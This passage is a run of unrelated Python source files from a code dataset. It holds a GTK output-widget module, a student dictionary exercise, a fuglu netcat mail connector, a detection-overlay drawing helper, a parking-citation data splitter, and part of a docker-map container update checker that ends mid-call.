gtklogger.setWidgetName(self.gtk, 'generic')\n self.gtk.set_text(repr(val))\n else:\n self.gtk = Gtk.Label(label=\"No data\")\n self.gtk.set_sensitive(False)\n def destroy(self):\n debug.mainthreadTest()\n self.gtk.destroy()\n def show(self):\n debug.mainthreadTest()\n self.gtk.show()\n\n####################\n \nclass VectorWidget:\n def __init__(self, val, **kwargs):\n debug.mainthreadTest()\n components = list(val.components())\n if components:\n self.gtk = Gtk.Grid(row_spacing=2, column_spacing=2,**kwargs)\n row = 0\n for comp in components:\n label = Gtk.Label(label=comp.shortrepr()+':',\n halign=Gtk.Align.END)\n self.gtk.attach(label, 0,row, 1,1)\n entry = Gtk.Entry(editable=False, halign=Gtk.Align.FILL,\n hexpand=True)\n gtklogger.setWidgetName(entry, comp.shortrepr())\n entry.set_text(\"%-13.6g\" % val[comp])\n self.gtk.attach(entry, 1,row, 1,1)\n row += 1\n else:\n self.gtk = Gtk.Label(label=\"No data\", **kwargs)\n self.gtk.set_sensitive(False)\n def show(self):\n debug.mainthreadTest()\n self.gtk.show_all()\n def destroy(self):\n debug.mainthreadTest()\n self.gtk.destroy()\n\ndef _VectorOutputVal_makeWidget(self, **kwargs):\n return VectorWidget(self, **kwargs)\n\noutputval.VectorOutputVal.makeWidget = _VectorOutputVal_makeWidget\n\noutputval.ListOutputVal.makeWidget = _VectorOutputVal_makeWidget\ncorientation.COrientation.makeWidget = _VectorOutputVal_makeWidget\n\n####################\n\n# There is another SymmMatrix3Widget object in tensorwidgets.py, but\n# it's primarily used for the input of tensor-valued parameters in\n# properties. It's sufficiently different that combining the two is\n# probably not useful.\n\nclass SymmMatrix3Widget:\n def __init__(self, val, **kwargs):\n debug.mainthreadTest()\n self.gtk = Gtk.Grid(**kwargs)\n rowlabels = [None]*3\n collabels = [None]*3\n for ijcomp in fieldindex.symTensorIJComponents:\n row = ijcomp.row()\n col = ijcomp.col()\n ijstr = ijcomp.shortrepr()\n if not rowlabels[row]:\n rowlabels[row] = ijstr[0]\n label = Gtk.Label(label=rowlabels[row]+': ',\n halign=Gtk.Align.END, hexpand=False)\n self.gtk.attach(label, 0,row+1, 1,1)\n if not collabels[col]:\n collabels[col] = ijstr[1]\n label = Gtk.Label(label=collabels[col], hexpand=True,\n halign=Gtk.Align.FILL)\n self.gtk.attach(label, col+1,0, 1,1)\n entry = Gtk.Entry(editable=False, halign=Gtk.Align.FILL,\n hexpand=True)\n gtklogger.setWidgetName(entry, rowlabels[row]+collabels[col])\n self.gtk.attach(entry, col+1,row+1, 1,1)\n entry.set_text(\"%-13.6g\" % val[ijcomp])\n \n def show(self):\n debug.mainthreadTest()\n self.gtk.show_all()\n def destroy(self):\n debug.mainthreadTest()\n self.gtk.destroy()\n\ndef _SymmMatrix_makeWidget(self, **kwargs):\n return SymmMatrix3Widget(self, **kwargs)\n\nsymmmatrix.SymmMatrix3.makeWidget = _SymmMatrix_makeWidget\n \n\n####################\n\nclass ConcatenatedOutputsWidget:\n def __init__(self, val, **kwargs):\n quargs = kwargs.copy()\n quargs.setdefault('spacing', 2)\n self.gtk = Gtk.Box(orientation=Gtk.Orientation.VERTICAL, **quargs)\n # Use makeWidget(v) instead of v.makeWidget() so that\n # GenericOVWidget will be used if needed for subwidgets.\n self.widgets = [makeWidget(v) for v in val.args]\n first = True\n self.sbcallbacks = []\n for w in self.widgets:\n if not first:\n self.gtk.pack_start(\n Gtk.Separator(orientation=Gtk.Orientation.HORIZONTAL),\n expand=False, fill=False, padding=0)\n first = False\n self.gtk.pack_start(w.gtk, expand=0, fill=1, padding=0)\n self.sbcallbacks.append(\n switchboard.requestCallbackMain(w.gtk, self.subWidgetChanged))\n def cleanUp(self):\n switchboard.removeCallbacks(self.sbcallbacks)\n def show(self):\n debug.mainthreadTest()\n self.gtk.show_all()\n def destroy(self):\n debug.mainthreadTest()\n self.gtk.destroy()\n def subWidgetChanged(self, interactive):\n switchboard.notify(self)\n\ndef _ConcatenatedOutputs_makeWidget(self):\n return ConcatenatedOutputsWidget(self)\n \noutputClones.ConcatenatedOutputVal.makeWidget = _ConcatenatedOutputs_makeWidget\n\n\n####################\n\ndef makeWidget(val, **kwargs):\n try:\n wfunc = val.makeWidget\n except AttributeError:\n return GenericOVWidget(val, **kwargs)\n return wfunc(**kwargs)\n\n","sub_path":"SRC/engine/IO/GUI/outputvalwidgets.py","file_name":"outputvalwidgets.py","file_ext":"py","file_size_in_byte":6562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"336288458","text":"# Дан словарь такого типа:\n# sample_dict = {\n# \"class_a\":{\n# \"student1\":{\n# \"name\":\"Misha\",\n# \"marks\":{\n# \"math\":90,\n# \"history\":85\n# }\n# }\n# }\n# }\n# 1. Вывести значение ключа \"name\";\n# 2. Вывести значение ключа \"history\";\n# 3. Добавить нового студента в \"class_a\", соответственно его \"name\" и \"marks\";\n# 4. Добавить новый класс со студентами (в sample_dict нужно добавить class_b, в котором будет 2 студента);\n# 5. Добавить каждому студенту в \"marks\" предмет \"physics\" с оценкой;\n# 6. Подсчитать средний бал по каждому студенту (результат округлить до 2 знаков после запятой);\n# 7. Создать словарь со средним баллом за каждого студента;\n# 8. Определить лучшего студента по успеваемости;\n# 9. Подсчитать средний бал по каждому классу (результат округлить до 2 знаков после запятой);\n# 10. Создать словарь со средним баллом за классы;\n# 11. Определить лучший класс по успеваемости.\n\nsample_dict = {\n \"class_a\": {\n \"student1\": {\n \"name\":\"Misha\",\n \"marks\":{\n \"math\":90,\n \"history\":85\n }\n }\n }\n}\nprint(sample_dict)\n\n#1\nprint(sample_dict['class_a']['student1']['name'])\n\n#2\nprint(sample_dict['class_a']['student1']['marks']['history'])\n\n#3\nsample_dict['class_a']['student2'] = {\n \"name\": \"Kolya\",\n \"marks\": {\n \"math\": 70,\n \"history\": 65\n }\n}\nprint(sample_dict)\n\n#4\nsample_dict['class_b'] = {\n \"student3\": {\n \"name\": \"Galya\",\n \"marks\": {\n \"math\": 100,\n \"history\":55\n }\n },\n \"student4\": {\n \"name\": \"Lusya\",\n \"marks\": {\n \"math\": 46,\n \"history\": 111\n }\n }\n}\nprint(sample_dict)\n\n#5\nsample_dict['class_a']['student1']['marks']['physics'] = 51\nsample_dict['class_a']['student2']['marks']['physics'] = 52\nsample_dict['class_b']['student3']['marks']['physics'] = 53\nsample_dict['class_b']['student4']['marks']['physics'] = 54\nprint(sample_dict)\n\n#6\n# student1_avg = round(statistics.mean(sample_dict['class_a']['student1']['marks'].values()), 2)\nstudent1_avg = sum(sample_dict['class_a']['student1']['marks'].values())\nstudent1_avg /= len(sample_dict['class_a']['student1']['marks'].values())\nstudent1_avg = round(student1_avg, 2)\nprint(student1_avg)\n\nstudent2_avg = sum(sample_dict['class_a']['student2']['marks'].values())\nstudent2_avg /= len(sample_dict['class_a']['student2']['marks'].values())\nstudent2_avg = round(student2_avg, 2)\nprint(student2_avg)\n\nstudent3_avg = sum(sample_dict['class_b']['student3']['marks'].values())\nstudent3_avg /= len(sample_dict['class_b']['student3']['marks'].values())\nstudent3_avg = round(student3_avg, 2)\nprint(student3_avg)\n\nstudent4_avg = sum(sample_dict['class_b']['student4']['marks'].values())\nstudent4_avg /= len(sample_dict['class_b']['student4']['marks'].values())\nstudent4_avg = round(student4_avg, 2)\nprint(student4_avg)\n\n#7\nstudentsAVG = {\n 'student1': student1_avg,\n 'student2': student2_avg,\n 'student3': student3_avg,\n 'student4': student4_avg,\n}\nprint(studentsAVG)\n\n#8\nmax_val = max(list(studentsAVG.values()))\nmax_val_index = list(studentsAVG.values()).index(max_val)\nmax_student = list(studentsAVG.keys())[max_val_index]\n# print(max_val)\n# print(max_val_index)\nprint(max_student)\n\n#9\nclass_a_avg = list(sample_dict['class_a']['student1']['marks'].values())\nclass_a_avg.extend(list(sample_dict['class_a']['student2']['marks'].values()))\n# print(class_a_avg)\nclass_a_avg = round(sum(class_a_avg) / len(class_a_avg), 2)\nprint(class_a_avg)\n\nclass_b_avg = list(sample_dict['class_b']['student3']['marks'].values())\nclass_b_avg.extend(list(sample_dict['class_b']['student4']['marks'].values()))\nclass_b_avg = round(sum(class_b_avg) / len(class_b_avg), 2)\nprint(class_b_avg)\n\n#10\nclassAVG = {\n 'class_a': class_a_avg,\n 'class_b': class_b_avg,\n}\nprint(classAVG)\n\n#11\nmax_val = max(list(classAVG.values()))\nmax_val_index = list(classAVG.values()).index(max_val)\nmax_student = list(classAVG.keys())[max_val_index]\nprint(max_student)\n","sub_path":"oleksandr tertyshnyk/module 3/lesson 5/hw2.py","file_name":"hw2.py","file_ext":"py","file_size_in_byte":4574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"526232711","text":"# -*- coding: utf-8 -*-\n# Copyright 2009-2019 Oli Schacher, Fumail Project\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n##\n\nimport logging\nimport tempfile\nfrom fuglu.shared import Suspect\nfrom fuglu.protocolbase import ProtocolHandler, BasicTCPServer\nfrom fuglu.connectors.smtpconnector import buildmsgsource\nfrom fuglu.stringencode import force_bString, force_uString\nimport os\nimport socket\nimport email\n\nclass NCHandler(ProtocolHandler):\n protoname = 'NETCAT'\n\n def __init__(self, socket, config):\n ProtocolHandler.__init__(self, socket, config)\n self.sess = NCSession(socket, config)\n try:\n self._att_mgr_cachesize = config.getint('performance','att_mgr_cachesize')\n except Exception:\n self._att_mgr_cachesize = None\n\n def get_suspect(self):\n success = self.sess.getincomingmail()\n if not success:\n self.logger.error('incoming smtp transfer did not finish')\n return None\n\n sess = self.sess\n fromaddr = \"unknown@example.org\"\n toaddr = [\"unknown@example.org\"]\n \n # use envelope from/to from ncsession if available\n if sess.from_address:\n fromaddr = sess.from_address\n if sess.recipients: \n toaddr = sess.recipients\n\n tempfilename = sess.tempfilename\n\n suspect = Suspect(fromaddr, toaddr, tempfilename, att_cachelimit=self._att_mgr_cachesize)\n if sess.tags:\n # update suspect tags with the ones receivec\n # during ncsession\n suspect.tags.update(sess.tags)\n \n return suspect\n\n def commitback(self, suspect):\n self.sess.send(\"DUNNO:\")\n self.sess.endsession(buildmsgsource(suspect))\n\n def defer(self, reason):\n self.sess.endsession('DEFER:%s' % reason)\n\n def discard(self, reason):\n self.sess.endsession('DISCARD:%s' % reason)\n\n def reject(self, reason):\n self.sess.endsession('REJECT:%s' % reason)\n\nclass NCServer(BasicTCPServer):\n def __init__(self, controller, port=10125, address=\"127.0.0.1\"):\n BasicTCPServer.__init__(self, controller, port, address, NCHandler)\n\n\nclass NCSession(object):\n\n def __init__(self, socket, config):\n self.config = config\n self.from_address = None\n self.recipients = []\n self.helo = None\n\n self.socket = socket\n self.logger = logging.getLogger(\"fuglu.ncsession\")\n self.tempfile = None\n self.tags = {}\n\n def send(self, message):\n self.socket.sendall(force_bString(message))\n\n def endsession(self, message):\n try:\n self.send(message)\n self.closeconn()\n except Exception as e:\n self.logger.error(str(e))\n\n def closeconn(self):\n self.socket.shutdown(socket.SHUT_WR)\n self.socket.close()\n\n def getincomingmail(self):\n \"\"\"return true if mail got in, false on error Session will be kept open\"\"\"\n self.socket.send(force_bString(\"fuglu scanner ready - please pipe your message, \"\n \"(optional) include env sender/recipient in the beginning, \"\n \"see documentation\\r\\n\"))\n try:\n (handle, tempfilename) = tempfile.mkstemp(\n prefix='fuglu', dir=self.config.get('main', 'tempdir'))\n self.tempfilename = tempfilename\n self.tempfile = os.fdopen(handle, 'w+b')\n except Exception as e:\n self.endsession('could not write to tempfile')\n\n collect_lumps = []\n while True:\n data = self.socket.recv(1024)\n if len(data) < 1:\n break\n else:\n collect_lumps.append(data)\n \n data = b\"\".join(collect_lumps)\n \n data = self.parse_remove_env_data(data)\n \n self.tempfile.write(data)\n self.tempfile.close()\n if not data:\n self.logger.debug('Problem receiving or parsing message')\n return False\n else:\n self.logger.debug('Incoming message received')\n return True\n \n def parse_remove_env_data(self, data):\n \"\"\"\n Check if there is envelop data prepend to the message. If yes, parse it and store sender, receivers, ...\n Return message only part.\n Args:\n data (bytes): message, eventually with message data prepend\n\n Returns:\n bytes : message string in bytes\n\n \"\"\"\n start_tag_deprecated = b\"\"\n end_tag = b\"\"\n \n start_tag_header = b\"X-DATA-PREPEND-START\"\n end_tag_header = b\"X-DATA-PREPEND-END\"\n \n if start_tag_deprecated == data[:len(start_tag_deprecated)]:\n self.logger.error('Deprecated env start tag found, please update fuglu\\n'\n 'Header first 200 chars:\\n'\n '%s' % data[:100])\n return b\"\"\n elif start_tag_header == data[:len(start_tag_header)]:\n self.logger.debug('Prepend envelope data header found')\n end_index = data.find(end_tag_header)\n if end_index < 0:\n self.logger.error(\"Found start tag for prepend ENV data header but no end header!\")\n return b\"\"\n end_index = data.find(b'\\n', end_index)\n if end_index < 0:\n self.logger.error(\"Found start/end tag for prepend ENV data header but no newline!\")\n return b\"\"\n # split data in prepend envelope data and main message data\n envdata = data[:end_index+1] # +1 to include the \\n\n data = data[end_index+1:]\n\n # parse envelope data\n self.parse_env_data_header(envdata)\n else:\n self.logger.debug('No prepend envelope data found')\n return data\n \n def parse_env_data_header(self, env_buffer):\n \"\"\"\n Parse envelope data string and store data internally\n Args:\n env_string (bytes): \n \"\"\"\n try:\n mymsg = email.message_from_bytes(env_buffer)\n except AttributeError:\n mymsg = email.message_from_string(env_buffer)\n\n for key, header in mymsg.items():\n value = Suspect.decode_msg_header(header).strip()\n if not value:\n continue\n if key == \"X-ENV-SENDER\":\n self.from_address = value.strip()\n self.logger.debug(\"Found env sender: %s\" % value)\n elif key == \"X-ENV-RECIPIENT\":\n self.recipients.append(value.strip())\n self.logger.debug(\"Found env recipient: %s\" % value)\n elif key == \"X-DATA-PREPEND-START\":\n self.tags[\"prepend_identifier\"] = value\n self.logger.debug(\"set prepend identifier from Start header to: %s\" % value)\n elif key == \"X-DATA-PREPEND-END\":\n self.tags[\"prepend_identifier\"] = value\n self.logger.debug(\"set prepend identifier from End header to: %s\" % value)\n else:\n self.tags[key] = value\n self.logger.debug(\"Store in Suspect TAG: (%s,%s)\" % (key, value))\n","sub_path":"fuglu/src/fuglu/connectors/ncconnector.py","file_name":"ncconnector.py","file_ext":"py","file_size_in_byte":7759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"563043585","text":"\nimport torch\nfrom tools.image import transforms, cv\nfrom tools.image.index_map import default_map\n\nfrom tools import tensor\n\ndef to_rgb(hex):\n return ((hex >> 16) & 255, (hex >> 8) & 255, (hex >> 0) & 255)\n\n\ndef draw_box(image, box, scale=1.0, name=None, confidence=None, thickness=2, color=(255, 0, 0), text_color=None):\n\n text_color = text_color or color\n cv.rectangle(image, box[:2], box[2:], color=color, thickness=int(thickness * scale))\n\n if not (name is None):\n cv.putText(image, name, (box[0], box[1] + int(8 * scale)), scale = 0.7 * scale, color=text_color, thickness=int(1*scale))\n\n if not (confidence is None):\n str = \"{:.2f}\".format(confidence)\n cv.putText(image, str, (box[0], box[3] - 2), scale = 0.7 * scale, color=text_color, thickness=int(1*scale))\n\n\ndef overlay(eval, mode='target', threshold = 0.5, scale=1.0, classes=None):\n image = eval.image.clone()\n\n cv.putText(image, eval.file, (0, int(12 * scale)), scale = scale, color=(64, 64, 192), thickness=int(1*scale))\n cv.putText(image, \"mAP@0.5 \" + str(eval.mAP), (0, int(24 * scale)), scale = scale, color=(64, 64, 192), thickness=int(1*scale))\n\n\n def overlay_predictions():\n for (label, box, confidence) in eval.predictions:\n if confidence < threshold:\n break\n\n label_class = classes[label]['name']\n draw_box(image, box, scale=scale, confidence=confidence, name=label_class['name'], color=to_rgb(label_class['colour']))\n\n\n def overlay_targets():\n for (label, box) in eval.targets:\n label_class = classes[label]['name']\n draw_box(image, box, scale=scale, name=label_class['name'], color=to_rgb(label_class['colour']))\n\n\n def overlay_anchors():\n overlay_targets()\n\n for (label, box) in eval.anchors:\n label_class = classes[label]['name']\n draw_box(image, box, scale=scale, color=to_rgb(label_class['colour']), thickness=1)\n\n\n def overlay_matches():\n unmatched = dict(enumerate(eval.targets))\n\n for m in eval.matches:\n if m.confidence < threshold: break\n\n if m.match is not None:\n del unmatched[m.match]\n\n\n for (i, (label, box)) in enumerate(eval.targets):\n label_class = classes[label]['name']\n color = (255, 0, 0) if i in unmatched else (0, 255, 0)\n\n draw_box(image, box, scale=scale, name=label_class['name'], color=color)\n\n for m in eval.matches:\n if m.confidence < threshold: break\n\n color = (255, 0, 0)\n if m.match is not None:\n color = (0, 255, 0)\n\n label_class = classes[m.label]['name']\n draw_box(image, m.box, scale=scale, color=color, confidence=m.confidence, name=label_class['name'], thickness=1)\n\n\n\n targets = {\n 'matches' : overlay_matches,\n 'predictions' : overlay_predictions,\n 'anchors' : overlay_anchors,\n 'targets' : overlay_targets\n }\n\n assert (mode in targets), \"overlay: invalid mode \" + mode + \", expected one of \" + str(targets.keys())\n targets[mode]()\n\n return image\n\n\n\ndef overlay_batch(batch, mode='target', scale=1.0, threshold = 0.5, cols=6, classes=None):\n\n images = []\n for eval in batch:\n images.append(overlay(eval, scale=scale, mode=mode, threshold=threshold, classes=classes))\n\n return tensor.tile_batch(torch.stack(images, 0), cols)\n","sub_path":"detection/display.py","file_name":"display.py","file_ext":"py","file_size_in_byte":3463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"476637369","text":"import numpy as np\r\nimport pandas as pd\r\nimport pyproj\r\n'''\r\n Split big dataset to several csv by year.\r\n Author: Xu Zhu\r\n\r\n'''\r\n\r\n\r\n\r\ndef split_year(fpath, year, availcols):\r\n '''\r\n Resave raw data into csv by Issue Year\r\n '''\r\n loop = True\r\n rfile = pd.read_csv(fpath, usecols = availcols, iterator=True)\r\n empty_df = pd.DataFrame(columns = availcols)\r\n empty_df.to_csv(year + 'parking-citations.csv', mode = 'w', header = True) #initialize, write a header\r\n while loop:\r\n try:\r\n sel = []\r\n chunk = rfile.get_chunk(100000)\r\n for row in range(len(chunk)):\r\n if isinstance(chunk.iloc[row,0], str) and len(chunk.iloc[row,0]) == 19:\r\n if chunk.iloc[row,0][0:4] == year:\r\n sel = sel + [row]\r\n if len(sel) > 0:\r\n chunk.iloc[sel].to_csv(year + 'parking-citations.csv', mode = 'a', header = False)\r\n except StopIteration:\r\n loop = False\r\n print(year + 'parking-citations finished')\r\n\r\ndef convert_position():\r\n '''\r\n Convert the coordinate into universal Latitude and Longitude\r\n '''\r\n for year in [2015, 2016, 2017, 2018]:\r\n df=pd.read_csv(str(year) + 'parking-citations.csv', parse_dates = ['Issue Date'])\r\n df=df[~df['Latitude'].isin([99999])]\r\n ESRI102645=pyproj.Proj(\"+proj=lcc +lat_1=34.03333333333333 +lat_2=35.46666666666667 +lat_0=33.5 +lon_0=-118 +x_0=2000000 +y_0=500000.0000000002 +ellps=GRS80 +datum=NAD83 +to_meter=0.3048006096012192 +no_defs\",preserve_units = True)\r\n WGS84=pyproj.Proj(\"+init=EPSG:4326\")\r\n x,y=df['Latitude'],df['Longitude']\r\n df['Longitude_WGS'],df['Latitude_WGS']=pyproj.transform(ESRI102645, WGS84, np.array(x), np.array(y))\r\n df = df[df['Latitude_WGS'] > 33]\r\n df.to_csv(str(year) + 'gmaps.csv', mode = 'w', header = True, columns = ['Fine amount', 'Longitude_WGS', 'Latitude_WGS', 'Issue Date'])\r\n print('Convert done!')\r\n\r\nif __name__ == \"__main__\":\r\n filepath = 'parking-citations.csv'\r\n availcols = ['Issue Date', 'Issue time', 'RP State Plate', 'Make', 'Body Style',\r\n 'Color', 'Violation Description', 'Fine amount', 'Latitude', 'Longitude']\r\n #split_year(filepath, '2015', availcols)\r\n #split_year(filepath, '2016', availcols)\r\n #split_year(filepath, '2017', availcols)\r\n #split_year(filepath, '2018', availcols)\r\n convert_position()\r\n \r\n \r\n","sub_path":"split.py","file_name":"split.py","file_ext":"py","file_size_in_byte":2469,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"387122152","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom collections import defaultdict\nimport logging\nimport shlex\nimport six\n\nfrom ...functional import resolve_value\nfrom ..input import EXEC_POLICY_INITIAL\nfrom .base import (AttachedPreparationMixin, ExecMixin, ForwardActionGeneratorMixin, SignalMixin,\\\n AbstractDependentActionGenerator)\nfrom . import utils\n\nlog = logging.getLogger(__name__)\n\nCMD_CHECK_FULL = 'full'\nCMD_CHECK_PARTIAL = 'partial'\nCMD_CHECK_NONE = 'none'\n\n\ndef _check_environment(c_config, instance_detail):\n def _parse_env():\n for env_str in instance_env:\n var_name, sep, env_val = env_str.partition('=')\n if sep:\n yield var_name, env_val\n\n create_options = utils.init_options(c_config.create_options)\n if not create_options:\n return True\n instance_env = instance_detail['Config']['Env'] or []\n config_env = resolve_value(create_options.get('environment'))\n if not config_env:\n return True\n current_env = dict(_parse_env())\n log.debug(\"Checking environment. Config / container instance:\\n%s\\n%s\", config_env, current_env)\n for k, v in six.iteritems(config_env):\n if current_env.get(k) != resolve_value(v):\n return False\n return True\n\n\ndef _check_cmd(c_config, instance_detail):\n create_options = utils.init_options(c_config.create_options)\n if not create_options:\n return True\n instance_config = instance_detail['Config']\n config_cmd = resolve_value(create_options.get('command')) if create_options else None\n if config_cmd:\n instance_cmd = instance_config['Cmd'] or []\n log.debug(\"Checking command. Config / container instance:\\n%s\\n%s\", config_cmd, instance_cmd)\n if isinstance(config_cmd, six.string_types):\n if shlex.split(config_cmd) != instance_cmd:\n return False\n elif list(config_cmd) != instance_cmd:\n return False\n config_entrypoint = resolve_value(create_options.get('entrypoint')) if create_options else None\n if config_entrypoint:\n instance_entrypoint = instance_config['Entrypoint'] or []\n log.debug(\"Checking entrypoint. Config / container instance:\\n%s\\n%s\", config_entrypoint, instance_entrypoint)\n if isinstance(config_entrypoint, six.string_types):\n if [config_entrypoint] != instance_entrypoint:\n return False\n elif list(config_entrypoint) != instance_entrypoint:\n return False\n return True\n\n\ndef _check_network(container_config, client_config, instance_detail):\n if not container_config.exposes:\n return True\n instance_ports = instance_detail['NetworkSettings']['Ports'] or {}\n for port_binding in container_config.exposes:\n port = resolve_value(port_binding.exposed_port)\n i_key = port if isinstance(port, six.string_types) and '/' in port else '{0}/tcp'.format(port)\n log.debug(\"Looking up port %s configuration.\", i_key)\n if i_key not in instance_ports:\n log.debug(\"Not found.\")\n return False\n bind_port = resolve_value(port_binding.host_port)\n if bind_port:\n i_val = instance_ports[i_key]\n if not i_val:\n log.debug(\"Port is exposed but not published.\")\n return False\n interface = resolve_value(port_binding.interface)\n if interface:\n bind_addr = resolve_value(client_config.interfaces.get(interface))\n else:\n bind_addr = '0.0.0.0'\n bind_config = {'HostIp': bind_addr, 'HostPort': six.text_type(bind_port)}\n log.debug(\"Checking port. Config / container instance:\\n%s\\n%s\", bind_config, i_val)\n if bind_config not in i_val:\n return False\n return True\n\n\nclass SingleContainerVfsCheck(object):\n \"\"\"\n :type vfs_paths: dict[tuple, unicode | str]\n :type container_map: dockermap.map.container.ContainerMap\n :type config_name: unicode | str\n :type instance_name: unicode | str\n :type instance_volumes: dict[unicode | str, unicode | str]\n \"\"\"\n def __init__(self, vfs_paths, container_map, config_name, instance_name, instance_volumes):\n self._vfs_paths = vfs_paths\n self._instance_volumes = instance_volumes\n self._container_map = container_map\n self._config_name = config_name\n self._instance_name = instance_name\n self._use_parent_name = container_map.use_attached_parent_name\n self._volumes = container_map.volumes\n\n def check_bind(self, config, instance):\n for shared_volume in config.binds:\n bind_path, host_path = utils.get_shared_volume_path(self._container_map, shared_volume.volume, instance)\n instance_vfs = self._instance_volumes.get(bind_path)\n log.debug(\"Checking host bind. Config / container instance:\\n%s\\n%s\", host_path, instance_vfs)\n if not (instance_vfs and host_path == instance_vfs):\n return False\n self._vfs_paths[self._config_name, self._instance_name, bind_path] = instance_vfs\n return True\n\n def check_attached(self, config, parent_name):\n for attached in config.attaches:\n a_name = '{0}.{1}'.format(parent_name, attached) if self._use_parent_name else attached\n attached_path = resolve_value(self._volumes[attached])\n instance_vfs = self._instance_volumes.get(attached_path)\n attached_vfs = self._vfs_paths.get((a_name, None, attached_path))\n log.debug(\"Checking attached %s path. Attached instance / dependent container instance:\\n%s\\n%s\",\n attached, attached_vfs, instance_vfs)\n if not (instance_vfs and attached_vfs == instance_vfs):\n return False\n self._vfs_paths[self._config_name, self._instance_name, attached_path] = instance_vfs\n return True\n\n def check_used(self, config):\n for used in config.uses:\n used_volume = used.volume\n if self._use_parent_name:\n used_alias = used_volume.partition('.')[2]\n else:\n used_alias = used_volume\n used_path = resolve_value(self._volumes.get(used_alias))\n if used_path:\n used_vfs = self._vfs_paths.get((used_volume, None, used_path))\n instance_path = self._instance_volumes.get(used_path)\n log.debug(\"Checking used %s path. Parent instance / dependent container instance:\\n%s\\n%s\",\n used_volume, used_vfs, instance_path)\n if used_vfs != instance_path:\n return False\n continue\n ref_c_name, __, ref_i_name = used_volume.partition('.')\n log.debug(\"Looking up dependency %s (instance %s).\", ref_c_name, ref_i_name)\n ref_config = self._container_map.get_existing(ref_c_name)\n if ref_config:\n for share in ref_config.shares:\n ref_shared_path = resolve_value(share)\n i_shared_path = self._instance_volumes.get(ref_shared_path)\n shared_vfs = self._vfs_paths.get((ref_c_name, ref_i_name, ref_shared_path))\n log.debug(\"Checking shared path %s. Parent instance / dependent container instance:\\n%s\\n%s\",\n share, shared_vfs, i_shared_path)\n if shared_vfs != i_shared_path:\n return False\n self._vfs_paths[(self._config_name, self._instance_name, ref_shared_path)] = i_shared_path\n self.check_bind(ref_config, ref_i_name)\n self.check_attached(ref_config, ref_c_name)\n else:\n raise ValueError(\"Volume alias or container reference could not be resolved: {0}\".format(used))\n return True\n\n\nclass ContainerVolumeChecker(object):\n def __init__(self):\n self._vfs_paths = {}\n\n def register_attached(self, mapped_path, path, alias, parent_name=None):\n alias = '{0}.{1}'.format(parent_name, alias) if parent_name else alias\n self._vfs_paths[alias, None, mapped_path] = path\n\n def check(self, container_map, container_config, config_name, instance_name, instance_detail):\n instance_volumes = utils.get_instance_volumes(instance_detail)\n vfs = SingleContainerVfsCheck(self._vfs_paths, container_map, container_config, instance_name, instance_volumes)\n for share in container_config.shares:\n cr_shared_path = resolve_value(share)\n self._vfs_paths[config_name, instance_name, cr_shared_path] = instance_volumes.get(share)\n if not vfs.check_bind(container_config, instance_name):\n return False\n if not vfs.check_attached(container_config, config_name):\n return False\n if not vfs.check_used(container_config):\n return False\n return True\n\n\nclass ContainerUpdateGenerator(AttachedPreparationMixin, ExecMixin, SignalMixin, ForwardActionGeneratorMixin,\n AbstractDependentActionGenerator):\n def __init__(self, policy, *args, **kwargs):\n super(ContainerUpdateGenerator, self).__init__(policy, *args, **kwargs)\n self.remove_status = policy.remove_status\n self.pull_before_update = policy.pull_before_update\n self.pull_insecure_registry = policy.pull_insecure_registry\n self.update_persistent = policy.update_persistent\n self.check_commands = policy.check_exec_commands\n self.base_image_ids = {\n client_name: policy.images[client_name].ensure_image(\n policy.image_name(policy.base_image), pull=self.pull_before_update,\n insecure_registry=self.pull_insecure_registry)\n for client_name in policy.clients.keys()\n }\n self._volume_checker = ContainerVolumeChecker()\n\n def _check_links(self, map_name, c_config, instance_detail):\n instance_links = instance_detail['HostConfig']['Links'] or []\n link_dict = defaultdict(set)\n for host_link in instance_links:\n link_name, __, link_alias = host_link.partition(':')\n link_dict[link_name[1:]].add(link_alias.rpartition('/')[2])\n for link in c_config.links:\n instance_aliases = link_dict.get(self._policy.cname(map_name, link.container))\n if not instance_aliases or link.alias not in instance_aliases:\n log.debug(\"Checked link %s - could not find alias %s\", link.container, link.alias)\n return False\n log.debug(\"Checked link %s - found alias %s\", link.container, link.alias)\n return True\n\n def _run_missing_commands(self, container_map, config_name, container_config, client_name, client_config, client,\n container_name, instance_name):\n def _find_full_command(f_cmd, f_user):\n for __, c_user, c_cmd in current_commands:\n if c_user == f_user and c_cmd == f_cmd:\n log.debug(\"Command for user %s found: %s.\", c_user, c_cmd)\n return True\n return False\n\n def _find_partial_command(f_cmd, f_user):\n for __, c_user, c_cmd in current_commands:\n if c_user == f_user and f_cmd in c_cmd:\n log.debug(\"Command for user %s found: %s.\", c_user, c_cmd)\n return True\n return False\n\n if not self.check_commands or self.check_commands == CMD_CHECK_NONE or not container_config.exec_commands:\n return\n log.debug(\"Checking commands for container %s.\", container_name)\n current_commands = client.top(container_name, ps_args='-eo pid,user,args')['Processes']\n if self.check_commands == CMD_CHECK_FULL:\n cmd_exists = _find_full_command\n elif self.check_commands == CMD_CHECK_PARTIAL:\n cmd_exists = _find_partial_command\n else:\n log.debug(\"Invalid check mode %s - skipping.\", self.check_commands)\n return\n for cmd, cmd_user, cmd_policy in container_config.exec_commands:\n if cmd_policy == EXEC_POLICY_INITIAL:\n continue\n res_cmd = resolve_value(cmd)\n if isinstance(res_cmd, (list, tuple)):\n res_cmd = ' '.join(res_cmd)\n if cmd_user is not None:\n res_user = resolve_value(cmd_user)\n else:\n res_user = utils.extract_user(container_config.user)\n if res_user is None:\n res_user = 'root'\n log.debug(\"Looking up %s command for user %s: %s\", self.check_commands, res_user, res_cmd)\n if not cmd_exists(res_cmd, res_user):\n log.debug(\"Not found.\")\n self.exec_single_command(container_map, 